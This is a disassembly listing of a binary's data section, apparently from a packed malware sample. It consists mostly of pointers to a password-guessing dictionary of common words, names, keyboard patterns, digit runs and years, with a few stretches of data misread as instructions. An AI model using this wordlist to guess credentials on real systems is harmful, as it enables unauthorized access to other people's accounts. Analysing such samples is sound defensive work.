dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday_0 ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
; ---------------------------------------------------------------------------
adc ch, dh
inc ebx
add ds:0F5240043h[esi*8], bl
inc ebx
add ds:0F5340043h[esi*8], ch
inc ebx
add ds:0F5440043h[esi*8], bh
inc ebx
add [ebp+esi*8+43h], cl
add [ebp+esi*8+43h], dl
add [ebp+esi*8+43h], bl
add [ebp+esi*8+43h], ah
add [eax-0Bh], dh
inc ebx
add [eax-0Bh], bh
inc ebx
add [eax-77FFBC0Bh], al
cmc
inc ebx
add [eax-67FFBC0Bh], dl
cmc
inc ebx
add [eax-57FFBC0Bh], ah
cmc
inc ebx
add [eax-47FFBC0Bh], dh
cmc
inc ebx
add al, al
cmc
inc ebx
add al, cl
cmc
inc ebx
add al, dl
cmc
inc ebx
add al, bl
cmc
inc ebx
add ah, ah
cmc
inc ebx
add ah, ch
cmc
inc ebx
add ah, dh
cmc
inc ebx
add ah, bh
cmc
inc ebx
add [esi+esi*8], al
inc ebx
add [eax], dl
test byte ptr [ebx+0], 1Ch
test byte ptr [ebx+0], 24h
test byte ptr [ebx+0], 2Ch
test byte ptr [ebx+0], 34h
test byte ptr [ebx+0], 3Ch
test byte ptr [ebx+0], 44h
test byte ptr [ebx+0], 4Ch
test byte ptr [ebx+0], 54h
test byte ptr [ebx+0], 5Ch
test byte ptr [ebx+0], 64h
test byte ptr [ebx+0], 6Ch
test byte ptr [ebx+0], 74h
test byte ptr [ebx+0], 7Ch
test byte ptr [ebx+0], 84h
test byte ptr [ebx+0], 8Ch
test byte ptr [ebx+0], 94h
test byte ptr [ebx+0], 9Ch
test byte ptr [ebx+0], 0A4h
test byte ptr [ebx+0], 0ACh
test byte ptr [ebx+0], 0B4h
test byte ptr [ebx+0], 0BCh
test byte ptr [ebx+0], 0C4h
test byte ptr [ebx+0], 0CCh
test byte ptr [ebx+0], 0D4h
test byte ptr [ebx+0], 0DCh
test byte ptr [ebx+0], 0E8h
test byte ptr [ebx+0], 0F0h
test byte ptr [ebx+0], 0F8h
test byte ptr [ebx+0], 4
test dword ptr [ebx+0], offset aSondra ; "sondra"
sbb bh, dh
inc ebx
add [eax], ah
test dword ptr [ebx+0], offset aSonya ; "sonya"
xor bh, dh
inc ebx
add [eax], bh
test dword ptr [ebx+0], offset aSouth ; "south"
dec eax
test dword ptr [ebx+0], offset aSparrows ; "sparrows"
pusha
loc_43B81D: ; CODE XREF: .nsp0:0043B824j
test dword ptr [ebx+0], offset aSpell ; "spell"
jo short loc_43B81D
inc ebx
add [eax-9], bh
inc ebx
add [eax-73FFBC09h], al
test dword ptr [ebx+0], offset aSpred ; "spred"
pushf
test dword ptr [ebx+0], offset aSpringer ; "springer"
mov al, 0F7h
inc ebx
add [eax-3FFFBC09h], bh
test dword ptr [ebx+0], offset aStacey ; "stacey"
sal bh, 1
inc ebx
add al, bl
test dword ptr [ebx+0], offset aStacy ; "stacy"
; ---------------------------------------------------------------------------
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart_0 ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent_0 ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday_0 ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher_0 ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday_0 ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday_0 ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_1 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload_0 ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
; ---------------------------------------------------------------------------
pusha
inc byte ptr [ebx+0]
push 700043FEh
inc byte ptr [ebx+0]
loc_43BB48: ; CODE XREF: .nsp0:loc_43BB48j
jl short loc_43BB48
inc ebx
add [esi+edi*8-173FFBDh], al
inc ebx
add [esi+edi*8-163FFBDh], dl
inc ebx
add [esi+edi*8-14FFFBDh], ah
inc ebx
add [eax-3FFFBC02h], bh
inc byte ptr [ebx+0]
enter 43FEh, 0
aam 0FEh
inc ebx
add ah, bl
inc byte ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_2 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey_0 ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun_0 ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset asc_44052C ; "%"
dd offset asc_440530 ; "!"
dd offset a@ ; "!@"
dd offset a@_0 ; "!@#"
dd offset a@_1 ; "!@#$%"
dd offset a@_2 ; "!@#$%^"
dd offset a@_3 ; "!@#$%^&"
dd offset a@_4 ; "!@#$%^&*"
dd offset asc_440560 ; "#"
dd offset asc_440564 ; "!!"
dd offset off_440568
dd offset dword_44056C
dd offset dword_440570
dd offset dword_440574
dd offset dword_440578
dd offset dword_44057C
dd offset dword_440580
dd offset dword_440588
dd offset dword_44058C
dd offset dword_440590
dd offset dword_440594
dd offset dword_44059C
dd offset dword_4405A0
dd offset dword_4405A8
dd offset dword_4405AC
dd offset dword_4405B4
dd offset dword_4405BC
dd offset dword_4405C0
dd offset dword_4405C4
dd offset dword_4405C8
dd offset dword_4405D4
dd offset dword_4405DC
dd offset dword_4405E4
dd offset dword_4405EC
dd offset dword_4405F4
dd offset dword_4405F8
dd offset dword_4405FC
dd offset dword_440600
dd offset dword_440604
dd offset a0000_0 ; "0000"
dd offset a00000_0 ; "00000"
dd offset a000000_0 ; "000000"
dd offset a00000000_0 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_440644 ; "*"
dd offset asc_440648 ; "**"
dd offset asc_44064C ; "***"
dd offset asc_440650 ; "****"
dd offset asc_440658 ; "*****"
dd offset asc_440660 ; "******"
dd offset asc_440668 ; "*******"
dd offset asc_440670 ; "********"
dd offset asc_44067C ; "*********"
dd offset a001_0 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005_0 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned_0 ; "0wned"
dd offset a1_0 ; "1"
dd offset a11 ; "11"
dd offset a111_0 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111_0 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888_0 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12_0 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123_0 ; "123"
dd offset a123123 ; "123123"
dd offset a1234_0 ; "1234"
dd offset a12345_0 ; "12345"
dd offset a123456_0 ; "123456"
dd offset a1234567_0 ; "1234567"
dd offset a12345678_0 ; "12345678"
dd offset a123456789_0 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe_0 ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321_0 ; "54321"
dd offset a654321_0 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex_0 ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_1 ; "a"
dd offset aAa_0 ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert_0 ; "qwert"
dd offset aQwerty_0 ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot_2 ; "root"
dd offset aServer_5 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_2 ; "SYSTEM"
dd offset off_440DFC
dd offset dword_440E00
dd offset dword_440E04
dd offset aTiger_0 ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota_0 ; "TOYOTA"
dd offset aToyota_1 ; "toyota"
dd offset asc_440E24 ; "x"
dd offset aXx_2 ; "xx"
dd offset aXxx_0 ; "xxx"
dd offset aXxxx_0 ; "xxxx"
dd offset aXxxxx_0 ; "xxxxx"
dd offset aXxxxxx_0 ; "xxxxxx"
dd offset aXxxxxxx_0 ; "xxxxxxx"
dd offset aXxxxxxxx_0 ; "xxxxxxxx"
dd offset aXxxxxxxxx_0 ; "xxxxxxxxx"
dd offset aXyz_0 ; "xyz"
dd offset aYaco_0 ; "yaco"
dd offset aYang_0 ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd_0 ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC_0 ; "c"
dd offset aCc ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd_0 ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
dd offset aFfff ; "ffff"
dd offset aFffff ; "fffff"
dd offset aE_0 ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
dd offset aEeeee ; "eeeee"
dd offset aEeeeee ; "eeeeee"
dd offset aG ; "g"
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_441008 ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_0 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
